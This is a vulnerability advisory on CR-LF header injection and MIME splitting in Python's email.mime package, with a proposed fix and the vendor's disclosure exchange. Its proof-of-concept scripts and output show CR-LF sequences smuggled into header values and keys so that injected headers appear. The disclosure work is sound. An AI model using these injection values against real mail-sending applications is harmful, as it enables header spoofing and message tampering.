Python - MIME Splitting

Vulnerability Note

1 Summary

Python is a programming language that lets you work more quickly and integrate your systems more effectively.

The python email.mime package fails to properly encode or reject CR-LF control sequences in MIME header values allowing for MIME splitting and header injection attacks.

  • MIMEText[headerKey] = headerValue - headerValue accepts CR-LF in the value, allowing an attacker in control of part of the header value to perform a MIME splitting attack.
  • MIMEText[headerKey] = headerValue - headerKey is not checked for CR-LF allowing an attacker in control of part of a header key to inject arbitrary MIME headers.
  • MIMEText.add_header(headerKey, headerValue) - headerKey is not checked for CR-LF allowing an attacker in control of part of a header key to inject arbitrary MIME headers.

2 Details

2.1 MIME-Splitting with CR-LF in header value:

  • Note: CR-LF injection in To header pushes an invalid header and may force a MIME split (depending on the parsing library) pushing following header values into the body when being parsed with the email.message_from_string() method.

    # Import the email modules we'll need
    from email.mime.text import MIMEText
    
    # Open a plain text file for reading.  For this example, assume that
    # the text file contains only ASCII characters.
    
    msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")
    
    msg['Subject'] = 'The contents of is this...'
    msg['To'] = "TO [email protected]\r\nX-SPLIT-MSG-TO-BODY\r\n"
    msg['From'] = "FROM [email protected]"
    msg['MyHEader'] = "hi :: hi"
    
    print(msg)
    print(repr(msg))
    print("=========================")
    import email
    msg = email.message_from_string(str(msg)) 
    print(msg)
    
    print("-> FROM: %s" % msg.get("From"))
    print("-> TO:   %s" % msg["To"]) 
    print("-> MSG:  " + repr(msg.get_payload()))

Output:

  • Output before the =========== is the constructed message
  • Output after the =========== is the parsed message
  • Note: that after parsing the message some headers end up in the body (from, myheader). Note that msg[from] is empty.

    ⇒  python3 a.py  
    Content-Type: text/plain; charset="us-ascii"
    MIME-Version: 1.0
    Content-Transfer-Encoding: 7bit
    Subject: The contents of is this...
    To: TO [email protected]
    X-SPLIT-MSG-TO-BODY
    From: FROM [email protected]
    MyHEader: hi :: hi
    
    REAL_MSG_BODY_BEGIN
    ...
    REAL_MSG_BODY_END
    <email.mime.text.MIMEText object at 0x108842850>
    =========================
    Content-Type: text/plain; charset="us-ascii"
    MIME-Version: 1.0
    Content-Transfer-Encoding: 7bit
    Subject: The contents of is this...
    To: TO [email protected]
    
    X-SPLIT-MSG-TO-BODY
    From: FROM [email protected]
    MyHEader: hi :: hi
    
    REAL_MSG_BODY_BEGIN
    ...
    REAL_MSG_BODY_END
    -> FROM: None
    -> TO:   TO [email protected]
    -> MSG:  'X-SPLIT-MSG-TO-BODY\nFrom: FROM [email protected]\nMyHEader: hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'

2.2 CR-LF injection in header keys.

Note: this is unlikely to be exploited, however, there might be scenarios where part of the header key is exposed to user input. A CR-LF character in the header key should throw instead.

# Import the email modules we'll need
from email.mime.text import MIMEText

# Open a plain text file for reading.  For this example, assume that
# the text file contains only ASCII characters.

msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")

# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO [email protected]"
msg['From'] = "FROM [email protected]"
msg['MyHEader'] = "hi :: hi"
msg["m\r\nh"] = "yo"

print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg)) 
msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: injected-header\r\naa","data")
print(msg)

print("-> FROM: %s" % msg.get("From"))
print("-> TO:   %s" % msg["To"]) 
print("-> MSG:  " + repr(msg.get_payload()))

Output: h: yo and X-INJECTED: are injected

⇒  python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
From: FROM [email protected]
MyHEader: hi :: hi
m
h: yo

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x10076d850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO [email protected]
From: FROM [email protected]
MyHEader: hi :: hi
CUSTOM-HEADER: yo

X-INJECTED: injected-header
aa: data

m
h: yo

REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: FROM [email protected]
-> TO:   TO [email protected]
-> MSG:  'm\r\nh: yo\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'

3 Proposed Fix

  • reject \n in header keys
  • encode \n in header values to \n\s+... to signal a continuation of the header value. reject \n+

4 Vendor Response

Vendor response:

I discussed the vulnerability in private with one of the email module
maintainers and he considers that it's not a vulnerability.

Would you mind opening a public issue at https://bugs.python.org/ so
the discussion can be recorded in public?

Victor

4.1 Timeline

JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
AUG/20/2020 - vendor response: forwarded to maintainer of module
SEP/15/2020 - vendor response: not a security issue --> https://bugs.python.org/issue43123 for transparency
MAY/28/2021 - disclosed over a year a go. public disclosure.

5 References